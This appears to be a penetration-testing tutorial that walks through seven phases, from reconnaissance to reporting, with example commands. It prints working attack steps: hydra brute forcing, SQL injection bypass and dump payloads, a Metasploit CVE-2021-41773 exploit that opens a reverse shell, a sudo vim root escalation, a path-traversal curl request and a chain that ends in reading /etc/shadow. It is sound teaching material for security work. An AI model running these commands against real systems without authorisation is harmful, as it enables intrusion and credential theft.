Penetration Testing — The 7-Phase Methodology

Table of Contents

1. What is Penetration Testing?
2. Pen Testing vs. Vulnerability Assessment
3. Types of Penetration Testing
   • By Knowledge Level
   • By Target
   • By Approach
4. The Pen Testing Methodology
   • Reconnaissance
   • Scanning & Enumeration
   • Gaining Access (Exploitation)
   • Privilege Escalation
   • Maintaining Access (Persistence)
   • Covering Tracks
   • Reporting
5. Complete Attack Chain Example
6. Pen Testing Standards & Frameworks
7. Popular Pen Testing Tools
8. Legal & Ethical Considerations

1. What is Penetration Testing?

Penetration Testing (or Pen Testing) is a simulated cyber attack against a computer system, network, or web application to identify exploitable vulnerabilities. Unlike a vulnerability assessment (which only finds flaws), a penetration test actively exploits them to determine the real-world impact.

Pen Testing answers the question: "What would actually happen if a real attacker targeted us?"

Why Pen Testing Matters

• Validate security controls — firewalls, IDS/IPS, WAF, authentication mechanisms
• Test detection capabilities — does the SOC notice the attack?
• Demonstrate business impact — "a missing patch could cost $5M" is more compelling than "a missing patch exists"
• Meet compliance — PCI DSS, HIPAA, SOC 2, FedRAMP, and others require periodic pen testing

The Real Cost of NOT Testing

2. Pen Testing vs. Vulnerability Assessment

Analogy: A vulnerability assessment is an X-ray (shows potential problems). A penetration test is a surgery (opens you up to confirm and fix the problem).

3. Types of Penetration Testing

By Knowledge Level

When to use each:

• Black Box — Testing incident detection & response (Blue Team). Simulates real attackers.
• White Box — Most thorough assessment. Best for compliance deadlines (PCI DSS).
• Grey Box — Most common in consulting. Balances depth with time efficiency.

By Target

By Approach

4. The Pen Testing Methodology (Detailed)

Most professional pen tests follow a standardized framework. Below is the 7-Phase Methodology with specific commands and examples.

Phase 1: Reconnaissance (Information Gathering)

"Know your enemy before you attack." — Sun Tzu, The Art of War

Objective: Collect as much information as possible about the target before touching any system.

Active Recon

Example Nmap Scan Output:

$ nmap -sS -sV -p- 192.168.1.10
Nmap scan report for 192.168.1.10
Host is up (0.0023s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 6ubuntu0.1
80/tcp   open  http       Apache httpd 2.4.49
443/tcp  open  http       Apache httpd 2.4.49
3306/tcp open  mysql      MySQL 5.7.35

Passive Recon

Google Dorking Examples:

site:example.com "password"                 # Find pages mentioning "password"
site:example.com intitle:"index of"         # Find directory listings
site:example.com inurl:wp-admin             # Find WordPress admin panels
site:example.com ext:sql                     # Find exported SQL files
site:example.com "confidential" filetype:pdf # Find confidential PDFs

Phase 2: Scanning & Enumeration

"Find every door and window before you try to open one."

Objective: Identify running services, versions, user accounts, and potential entry points.

Service Enumeration

Web Enumeration — Directory Busting

$ gobuster dir -u https://app.example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
/admin                (Status: 200) [Size: 1452]
/login                (Status: 200) [Size: 2034]
/api                  (Status: 200) [Size: 89]
/backup               (Status: 403) [Size: 312]  ← Interesting!
/.git                 (Status: 200) [Size: 121]  ← CONFIG EXPOSED!

🔴 Red Flag: Found .git directory exposed. This often contains the entire source code, database credentials, and API keys.

User Enumeration

$ hydra -l admin -P passwords.txt ssh://192.168.1.10
[DATA] attacking ssh://192.168.1.10:22/
[22][ssh] host: 192.168.1.10   login: admin   password: P@ssw0rd123

Phase 3: Gaining Access (Exploitation)

"This is where theory meets practice."

Objective: Use the vulnerabilities found in Phase 2 to gain initial access to the target system.

Common Exploitation Techniques

Exploitation Example: SQL Injection

Step 1: Bypass login
───────────────────
Request:  POST /login  username=admin' OR '1'='1'--
Response: 200 OK (logged in as admin)

Step 2: Extract database structure
─────────────────────────────────
Request:  POST /login  username=' UNION SELECT table_name,1 FROM information_schema.tables--
Response: ... users, payments, credit_cards ...

Step 3: Dump data
──────────────────
Request:  POST /login  username=' UNION SELECT username,password FROM users--
Response: admin:5f4dcc3b5aa765d61d8327deb882cf99
          (hash: "password" — MD5, cracked instantly)

Exploitation Example: Metasploit

msf6 > use exploit/multi/http/apache_normalize_path
msf6 > set RHOSTS 192.168.1.10
msf6 > set RPORT 80
msf6 > set TARGETURI /
msf6 > check

[+] 192.168.1.10:80 - The target is vulnerable to CVE-2021-41773.

msf6 > set PAYLOAD cmd/unix/reverse_bash
msf6 > set LHOST 192.168.1.100
msf6 > exploit

[*] Sending payload...
[*] Command shell session 1 opened (192.168.1.100:4444 → 192.168.1.10:38492)

whoami
www-data

Phase 4: Privilege Escalation

"You're in the building, but can you reach the server room?"

Objective: Move from a low-privilege account (or initial access) to root/administrator.

Linux Privilege Escalation

Example — Sudo Privilege Escalation:

www-data@target:~$ sudo -l
User www-data may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/vim

www-data@target:~$ sudo vim -c ':!/bin/bash'
root@target:/root# whoami
root

Windows Privilege Escalation

Lateral Movement

Phase 5: Maintaining Access (Persistence)

"Ensure you can get back in even after a reboot."

Objective: Create a way to re-enter the system if the connection is lost.

⚠️ Note: In most professional engagements, this phase is simulated rather than fully executed, per the Rules of Engagement. The tester may document how persistence could be achieved without actually doing it.

Phase 6: Covering Tracks

"Leave no trace (unless the client wants evidence)."

Objective: Remove evidence of the test from the target system.

⚠️ Note: In ethical hacking, covering tracks is handled carefully. Some clients want the evidence left intact for training their Blue Team. Always clarify this in the Rules of Engagement.

Phase 7: Reporting

"If it isn't documented, it didn't happen."

This is the most important phase — delivery of a comprehensive report (see Tutorial 7: Security Reporting for full details).

A professional pen test report includes:

1. Executive Summary — Non-technical, for C-level management (1-2 pages)
2. Methodology — What was done and how
3. Scope — What was tested (and what was NOT tested)
4. Risk Ratings — Critical / High / Medium / Low findings
5. Detailed Findings — Per vulnerability: Description, Proof of Concept, Impact, Remediation
6. Attack Chain — The full path an attacker would take (multiple vulnerabilities chained together)
7. Remediation Plan — Prioritized, actionable steps to fix each issue
8. Appendices — Raw tool output, scan results, supporting evidence

5. Complete Attack Chain Example

This example shows how multiple low-severity issues can chain into a critical compromise:

Step 1: [RECON]    Gobuster finds /backup/ directory (Status 403)
Step 2: [RECON]    nmap shows Apache 2.4.49 (vulnerable to CVE-2021-41773)
Step 3: [EXPLOIT]  Path traversal: curl -s --path-as-is 'http://app.example.com/cgi-bin/.%2e/%2e%2e/var/www/html/backup/db_config.php'
Step 4: [EXPLOIT]  Retrieved db_config.php contains database credentials
Step 5: [EXPLOIT]  MySQL is exposed externally (port 3306)
Step 6: [EXPLOIT]  mysql -h app.example.com -u backup_user -pBackup123
Step 7: [PE]       MySQL user has FILE privilege → read /etc/shadow → crack root password
Step 8: [ROOT]     SSH as root → FULL SYSTEM COMPROMISE

Each step by itself is LOW risk (forbidden directory, old Apache, exposed MySQL,
MySQL user with FILE). Chained together → CRITICAL risk.

6. Penetration Testing Standards & Frameworks

7. Popular Pen Testing Tools (Detailed)

8. Legal & Ethical Considerations

Pen Test Pricing (Industry Estimates)